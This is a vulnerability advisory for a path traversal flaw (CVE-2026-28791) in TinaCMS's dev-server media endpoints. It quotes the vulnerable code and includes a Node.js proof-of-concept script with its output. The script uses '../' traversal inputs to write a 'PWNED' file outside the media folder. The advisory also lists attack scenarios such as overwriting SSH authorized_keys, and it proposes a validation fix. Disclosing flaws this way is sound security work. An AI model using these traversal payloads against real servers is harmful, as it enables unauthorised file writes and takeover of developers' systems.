CVE-2026-28791

Affected Package

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request)
Impact: Arbitrary file write, potential Remote Code Execution

Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
Lines: 42-43

bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));  // Line 42
  const saveTo = path.join(mediaFolder, ...fullPath.split('/'));        // Line 43
  // make sure the directory exists before writing the file
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example:

const mediaFolder = '/app/public/uploads';
const maliciousInput = '../../../tmp/evil.txt';
const saveTo = path.join(mediaFolder, ...maliciousInput.split('/'));
// Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

1. Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion
2. List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration
3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at:

• packages/@tinacms/cli/src/server/routes/index.ts
• packages/@tinacms/cli/src/server/models/media.ts

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

#!/usr/bin/env node
/**
 * TinaCMS Path Traversal Vulnerability - Direct Code Test
 * Run: node test-vulnerability.js
 */

const path = require('path');
const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup)
const rootPath = '/tmp/tinacms-test';
const publicFolder = 'public';
const mediaRoot = 'uploads';
const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories
fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });
fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(`Media folder: ${mediaFolder}`);

// Simulate vulnerable code from media.ts:42-43
function vulnerableUpload(reqUrl) {
    const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
    return saveTo;
}

// Test cases
const tests = [
    { url: '/media/upload/image.png', desc: 'Normal upload' },
    { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' },
];

tests.forEach(test => {
    const result = vulnerableUpload(test.url);
    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));
    
    console.log(`\n${test.desc}:`);
    console.log(`  Input: ${test.url}`);
    console.log(`  Result: ${result}`);
    console.log(`  Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`);
    
    if (isVuln) {
        // Actually write the file to prove it works
        fs.mkdirSync(path.dirname(result), { recursive: true });
        fs.writeFileSync(result, `PWNED at ${new Date().toISOString()}`);
        console.log(`  File written: ${fs.existsSync(result)}`);
    }
});

// Cleanup
fs.rmSync(rootPath, { recursive: true, force: true });

Output

Media folder: /tmp/tinacms-test/public/uploads

Normal upload:
  Input: /media/upload/image.png
  Result: /tmp/tinacms-test/public/uploads/image.png
  Vulnerable: No ✓

Path traversal:
  Input: /media/upload/../../../tmp/target-dir/evil.txt
  Result: /tmp/tmp/target-dir/evil.txt
  Vulnerable: YES ⚠️
  File written: true

The file was successfully written to /tmp/tmp/target-dir/evil.txt, which is completely outside the intended media folder at /tmp/tinacms-test/public/uploads.

Important Note: HTTP Layer vs Code Vulnerability

I want to be transparent about my findings:

What I observed:

• When testing via HTTP requests against the Vite dev server, path traversal sequences (../) are normalized by Node.js/Vite's HTTP layer before reaching the vulnerable code
• This means direct HTTP exploitation like curl POST /media/upload/../../../tmp/evil.txt is mitigated in the default configuration

Why this is still a valid vulnerability that should be fixed:

1. The code itself has no validation - If the path reaches the handler (via any vector), it will be exploited
2. Defense-in-depth principle - Security should not rely solely on HTTP normalization
3. Inconsistent protection - Your GraphQL layer (addPendingDocument) explicitly validates paths and rejects ../ (see test at packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59), but the media endpoints don't have equivalent protection
4. Different deployment contexts:
   • Reverse proxies (nginx, Apache) with proxy_pass may preserve raw paths
   • Custom server configurations
   • Future refactoring that uses this code differently
5. The parseMediaFolder helper (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions
6. Express version also affected - packages/@tinacms/cli/src/server/routes/index.ts has the same pattern

Evidence That Path Traversal Should Be Blocked

Your codebase already shows that path traversal is considered a security issue:

// From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70
it('handles validation error for invalid path format', async () => {
  const { query } = await setupMutation(__dirname, config);

  const invalidPathMutation = `
    mutation {
      addPendingDocument(
        collection: "post"
        relativePath: "../invalid-path.md"  // <-- Path traversal is rejected!
      ) {
        __typename
      }
    }
  `;

  const result = await query({ query: invalidPathMutation, variables: {} });

  expect(result.errors).toBeDefined();
  expect(result.errors?.length).toBeGreaterThan(0);
});

This test explicitly verifies that ../invalid-path.md is rejected in the GraphQL layer. The media upload endpoints should have the same protection.

Who is Affected

• Developers running TinaCMS in development mode
• Any deployment exposing the TinaCMS dev server API
• Particularly concerning if dev servers are exposed to networks (common for mobile testing)

Potential Attack Scenarios

1. Remote Code Execution: Write malicious files to executable locations

   • Overwrite ~/.ssh/authorized_keys for SSH access
   • Modify application source code
   • Create cron jobs or systemd services

2. Denial of Service: Delete critical application or system files

3. Information Disclosure: List directory contents outside the media folder

CVSS Score Estimate

CVSS 3.1 Base Score: 8.1 (High)

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality: None (C:N)
• Integrity: High (I:H)
• Availability: High (A:H)

Alternative: Create a Validation Helper

function validateMediaPath(userPath: string, mediaFolder: string): string {
  const resolved = path.resolve(path.join(mediaFolder, ...userPath.split('/')));
  const resolvedBase = path.resolve(mediaFolder);
  
  if (!resolved.startsWith(resolvedBase + path.sep) && resolved !== resolvedBase) {
    throw new Error('Path traversal detected');
  }
  
  return resolved;
}

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
• OWASP Path Traversal
• Node.js path.join() Documentation
• OWASP Testing Guide - Path Traversal